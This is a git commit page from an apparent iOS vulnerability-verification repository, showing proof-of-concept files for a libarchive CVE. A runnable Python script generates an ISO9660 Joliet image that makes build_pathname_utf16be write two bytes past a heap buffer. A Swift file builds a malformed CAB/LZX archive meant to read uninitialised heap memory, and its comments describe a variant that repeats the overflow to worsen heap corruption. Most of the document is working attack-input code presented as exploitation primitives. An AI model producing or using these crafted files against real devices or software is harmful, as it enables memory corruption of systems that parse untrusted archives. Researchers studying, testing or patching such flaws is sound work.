admin/cinder27
1
0 Fork 1
Code Issues Pull Requests Actions Packages Projects Releases 2 Wiki Activity

Cinder27 — iOS 17.0-27.1 vulnerability verification lab: 51 modules, 31 per-CVE POC folders, 11 no-CVE module folders, harness app source

Browse Source
This commit is contained in:
jbjf6666 committed 2026-10-29 02:11:12 +08:00
commit 1ea76ab005
89 files changed
+16485
Download Patch File Download Diff File Expand all files Collapse all files

No files matched your search

CVE-2026-112522/CVE-2026-112522.py
+172
View File
@@ -0,0 +1,172 @@
#!/usr/bin/env python3
# arc.iso · libarchive · build_pathname_utf16be · CVE-2026-112522
# 原语: OOB 写 · 进程内 | Primitive: OOB write · in-process
#
# [zh] ISO9660 Joliet 路径名堆溢出
# build_pathname_utf16be 在递归拼入父路径之后无条件写入 2 字节的 UTF-16BE '/'，且不再复核累计长度是否超过 1024 的上限。当目录链累计长度恰为
# 1024 字节时，最深层回卷的写入落在 p[1024] 与 p[1025]，越过 malloc(1024) 两个字节，其中 0x002F 覆盖相邻堆块头。
#
# [en] ISO9660 Joliet pathname heap overflow
# After recursively appending the parent path, build_pathname_utf16be unconditionally writes
# a 2-byte UTF-16BE '/' without re-checking the running length against the 1024 limit. When
# a directory chain sums to exactly 1024 bytes the deepest unwind writes at p[1024] and p[1025],
# two bytes past a malloc(1024) buffer, and 0x002F overwrites the adjacent heap chunk header.
#
# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py
# 触发器（run 闭包）与非种子构建器: 同目录 CVE-2026-112522.swift
# triggers (run closures) & non-seed builders: CVE-2026-112522.swift in this folder
import struct
SECTOR = 2048
# --------------------------------------------------------------------------- helpers
def both16(v):
return struct.pack("<H", v) + struct.pack(">H", v)
def both32(v):
return struct.pack("<I", v) + struct.pack(">I", v)
# --------------------------------------------------------------------------- ISO9660 Joliet
def build_joliet_iso():
"""
Craft per libarchive upstream 750e8d7b25de (fix Apple shipped in 27.2, absent on 27.0).
build_pathname_utf16be() recurses to the parent, then writes a 2-byte UTF-16BE '/'
separator WITHOUT re-checking the running length against max (1024). A directory
chain whose accumulated path is exactly 1024 bytes makes the deepest unwind store at
p[1024] / p[1025] — two bytes past a malloc(1024) heap buffer.
Chain: root -> A(103 chars) -> B(103) -> C(103) -> D(103) -> E(96), file F in E.
Accumulated: 4*206 + 192 + 4*2 = 1024 exactly.
"""
names = ["A" * 103, "B" * 103, "C" * 103, "D" * 103, "E" * 96]
# sector plan
LBA_PVD = 16
LBA_SVD = 17
LBA_TERM = 18
LBA_PT_ASCII = 19
LBA_PT_JOLIET = 20
LBA_ROOT = 21
first_dir = LBA_ROOT + 1 # 22 .. 26
LBA_FILE = first_dir + len(names) # 27
total_sectors = LBA_FILE + 1
img = bytearray(total_sectors * SECTOR)
def put(lba, data):
img[lba * SECTOR: lba * SECTOR + len(data)] = data
# ---- path tables (type L, little endian extents)
def path_table(encode):
out = bytearray()
entries = [("", 1, LBA_ROOT)] + [(n, i + 2, first_dir + i) for i, n in enumerate(names)]
for name, parent, extent in entries:
nb = encode(name) if name else b"\x00"
rec = bytes([len(nb), 0]) + struct.pack("<I", extent) + struct.pack("<H", parent) + nb
if len(rec) % 2:
rec += b"\x00"
out += rec
return bytes(out)
pt_ascii = path_table(lambda s: s.encode("ascii"))
pt_joliet = path_table(ucs2)
put(LBA_PT_ASCII, pt_ascii)
put(LBA_PT_JOLIET, pt_joliet)
# ---- directories
def build_dir(lba, parent_lba, children):
"""children: list of (name_bytes, extent, size, flags)"""
body = bytearray()
body += dir_record(b"\x00", lba, SECTOR, 0x02) # '.'
body += dir_record(b"\x01", parent_lba, SECTOR, 0x02) # '..'
for nb, ext, size, flags in children:
body += dir_record(nb, ext, size, flags)
return pad_to(bytes(body), SECTOR)
# root contains A
put(LBA_ROOT, build_dir(LBA_ROOT, LBA_ROOT,
[(ucs2(names[0]), first_dir, SECTOR, 0x02)]))
for i, name in enumerate(names):
lba = first_dir + i
parent = LBA_ROOT if i == 0 else first_dir + i - 1
kids = []
if i + 1 < len(names):
kids.append((ucs2(names[i + 1]), first_dir + i + 1, SECTOR, 0x02))
else:
kids.append((ucs2("F"), LBA_FILE, 0, 0x00))
put(lba, build_dir(lba, parent, kids))
put(LBA_FILE, b"")
# ---- volume descriptors
def volume_descriptor(kind, joliet, root_lba, pt_lba, pt_size):
d = bytearray(2048)
d[0] = kind
d[1:6] = b"CD001"
d[6] = 1
if joliet:
d[8:8 + 32] = ucs2("CINDER27".ljust(16))
d[40:40 + 32] = ucs2("JOLIET-OOB".ljust(16))
else:
d[8:8 + 32] = b"CINDER27".ljust(32, b" ")
d[40:40 + 32] = b"JOLIET-OOB".ljust(32, b" ")
d[80:88] = both32(total_sectors)
d[120:124] = both16(1) # volume set size
d[124:128] = both16(1) # volume sequence number
d[128:132] = both16(SECTOR) # logical block size
d[132:140] = both32(pt_size) # path table size (both endian)
d[140:144] = struct.pack("<I", pt_lba) # type-L path table location
d[144:148] = struct.pack("<I", 0) # optional type-L
d[148:152] = struct.pack(">I", 0) # type-M (unused)
d[152:156] = struct.pack(">I", 0) # optional type-M
# root directory record at offset 156
root = dir_record(b"\x00", root_lba, SECTOR, 0x02)
d[156:156 + len(root)] = root
d[881] = 1 # file structure version
if joliet:
d[88:88 + 3] = b"%/E" # escape sequence
return bytes(d)
put(LBA_PVD, volume_descriptor(1, False, LBA_ROOT, LBA_PT_ASCII, len(pt_ascii)))
put(LBA_SVD, volume_descriptor(2, True, LBA_ROOT, LBA_PT_JOLIET, len(pt_joliet)))
term = bytearray(2048)
term[0] = 255
term[1:6] = b"CD001"
term[6] = 1
put(LBA_TERM, bytes(term))
return bytes(img)
# --------------------------------------------------------------------------- USDA nesting
def dir_record(name_bytes, extent, size, flags):
"""ISO9660 directory record. name_bytes is the raw name (0x00 root, 0x01 parent)."""
body = bytes([0]) + both32(extent) + both32(size) + iso_date() + bytes([flags, 0, 0]) + both16(1)
rec = bytes([0]) + body + bytes([len(name_bytes)]) + name_bytes
if len(rec) % 2:
rec += b"\x00"
rec = bytes([len(rec)]) + rec[1:]
return rec
def iso_date(y=2026, mo=10, d=28, h=12, mi=0, s=0):
return bytes([y - 1900, mo, d, h, mi, s, 0])
def pad_to(data, n):
if len(data) < n:
data = data + b"\x00" * (n - len(data))
return data[:n]
def ucs2(name):
return name.encode("utf-16-be")
# --------------------------------------------------------------------------- ISO9660 Joliet
if __name__ == "__main__":
import sys
out = sys.argv[1] if len(sys.argv) > 1 else "joliet_path_oob.iso"
open(out, "wb").write(build_joliet_iso())
print("wrote", out)
CVE-2026-112522/CVE-2026-112522.swift
+135
View File
@@ -0,0 +1,135 @@
// arc.iso · libarchive · build_pathname_utf16be · CVE-2026-112522
// 原语: OOB 写 · 进程内 · tier 1
// Primitive: OOB write · in-process · tier 1
//
// [zh] ISO9660 Joliet 路径名堆溢出
// build_pathname_utf16be 在递归拼入父路径之后无条件写入 2 字节的 UTF-16BE '/'，且不再复核累计长度是否超过 1024 的上限。当目录链累计长度恰为 1024
// 字节时，最深层回卷的写入落在 p[1024] 与 p[1025]，越过 malloc(1024) 两个字节，其中 0x002F 覆盖相邻堆块头。
//
// [en] ISO9660 Joliet pathname heap overflow
// After recursively appending the parent path, build_pathname_utf16be unconditionally writes a 2-byte
// UTF-16BE '/' without re-checking the running length against the 1024 limit. When a directory chain
// sums to exactly 1024 bytes the deepest unwind writes at p[1024] and p[1025], two bytes past a malloc(1024)
// buffer, and 0x002F overwrites the adjacent heap chunk header.
// ── 判别 / oracle ──
// 目录链长度 4×206 + 192 + 4×2 = 1024，与上限精确对齐。已在 macOS 同版本 fork 上以 bsdtar 复现，硬件断点命中于 \"Pathname is too
// long\" 之前的写指令。
// 变体 arc.iso.stress: Joliet 路径长度循环
// 变体 arc.cab: CAB LZX 历史未初始化即取匹配
//
// 种子构建器（python，可直接运行）: CVE-2026-112522/CVE-2026-112522.py
// runnable python seed builder: CVE-2026-112522/CVE-2026-112522.py
import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
static func be32(_ v: UInt32) -> [UInt8] {
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
}
static func le32(_ v: UInt32) -> [UInt8] {
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
}
static func be64(_ v: UInt64) -> [UInt8] {
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
}
static func le64(_ v: UInt64) -> [UInt8] {
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
}
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}
/*
// arc.iso.stress · libarchive · build_pathname_utf16be · CVE-2026-112522
// 原语: OOB 写 · 进程内 · tier 1
// Primitive: OOB write · in-process · tier 1
//
// [zh] Joliet 路径长度循环
// 对同一 ISO 反复遍历，使 2 字节越界写在堆上多次发生并与其它分配交错。单次两字节的写通常被 malloc 元数据吸收，重复执行才可能将损坏推移到可见位置。
//
// [en] Joliet path length loop
// The same ISO is traversed repeatedly so the 2-byte out-of-bounds write happens many times and interleaves
// with other allocations. A single two-byte write is usually absorbed by malloc metadata; repetition
// is what pushes the damage into a visible position.
*/
/*
// arc.cab · libarchive · lzx_decode_blocks · CVE-2026-112522
// 原语: OOB 读 · 进程内 · tier 2
// Primitive: OOB read · in-process · tier 2
//
// [zh] CAB LZX 历史未初始化即取匹配
// LZX 解码在计算 copy_pos = (w_pos − copy_pos) & w_mask 之后直接进入复制循环。当窗口尚未被写入时，copy_pos 指向未初始化区域，复制所得即为残留堆内容。
// 27.2 补入 copy_pos == 0 || copy_pos > w_filled → ARCHIVE_FAILED。
//
// [en] CAB LZX match against uninitialised history
// LZX decoding computes copy_pos = (w_pos − copy_pos) & w_mask and drops straight into the copy loop.
// While the window has not yet been written, copy_pos points into uninitialised memory and the copied
// bytes are residual heap. iOS 27.2 adds copy_pos == 0 || copy_pos > w_filled → ARCHIVE_FAILED.
*/
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (CABPayload) ──
enum CABPayload {
static func lzxEarlyMatch() -> Data {
var out = Data()
let cfdataPayload: [UInt8] = [
// CFDATA header is written separately below; this is the LZX block itself.
0x00, 0x00, 0x10, // block header: verbatim, 0x0010 bytes
0x1E, // main tree: single match-ish symbol stream
0x00, 0x00, // length footer
0x00, 0x00, 0x00, 0x00, // offset
]
var cfdata = Data()
cfdata.append(contentsOf: B.le32(0)) // checksum (unchecked)
cfdata.append(contentsOf: B.le16(UInt16(cfdataPayload.count)))
cfdata.append(contentsOf: B.le16(0)) // reserved
cfdata.append(contentsOf: cfdataPayload)
var file = Data()
file.append(contentsOf: B.ascii("Cinder"))
file.append(contentsOf: B.le32(0)) // size
file.append(contentsOf: B.le32(0)) // offset in folder
file.append(contentsOf: B.le16(0x20 | 0x01)) // attributes: archive
file.append(contentsOf: [0x21, 0x26, 0x10, 0x5A]) // date/time
file.append(contentsOf: [UInt8](repeating: 0x41, count: 8)) // name "AAAAAAAA"
file.append(0)
let headerSize = 36
let folderSize = 8
let fileSize = file.count
let dataSize = cfdata.count
let total = headerSize + folderSize + fileSize + dataSize
out.append(contentsOf: B.ascii("MSCF"))
out.append(contentsOf: B.le32(0)) // reserved1
out.append(contentsOf: B.le32(UInt32(total))) // cabinet size
out.append(contentsOf: B.le32(0)) // reserved2
out.append(contentsOf: B.le32(UInt32(headerSize))) // file offset
out.append(contentsOf: B.le32(0)) // reserved3
out.append(contentsOf: [3, 1]) // version minor, major
out.append(contentsOf: B.le16(1)) // folder count
out.append(contentsOf: B.le16(1)) // file count
out.append(contentsOf: B.le16(0)) // flags
out.append(contentsOf: B.le16(0x1234)) // set id
out.append(contentsOf: B.le16(0)) // cabinet index
// CFFOLDER
out.append(contentsOf: B.le32(UInt32(headerSize + folderSize + fileSize))) // data offset
out.append(contentsOf: B.le16(1)) // data block count
out.append(contentsOf: B.le16(3)) // compression type 3 = LZX
out.append(contentsOf: [0x0F, 0x00]) // window size (21 bits => 2MB)
out.append(contentsOf: file)
out.append(contentsOf: cfdata)
return out
}
}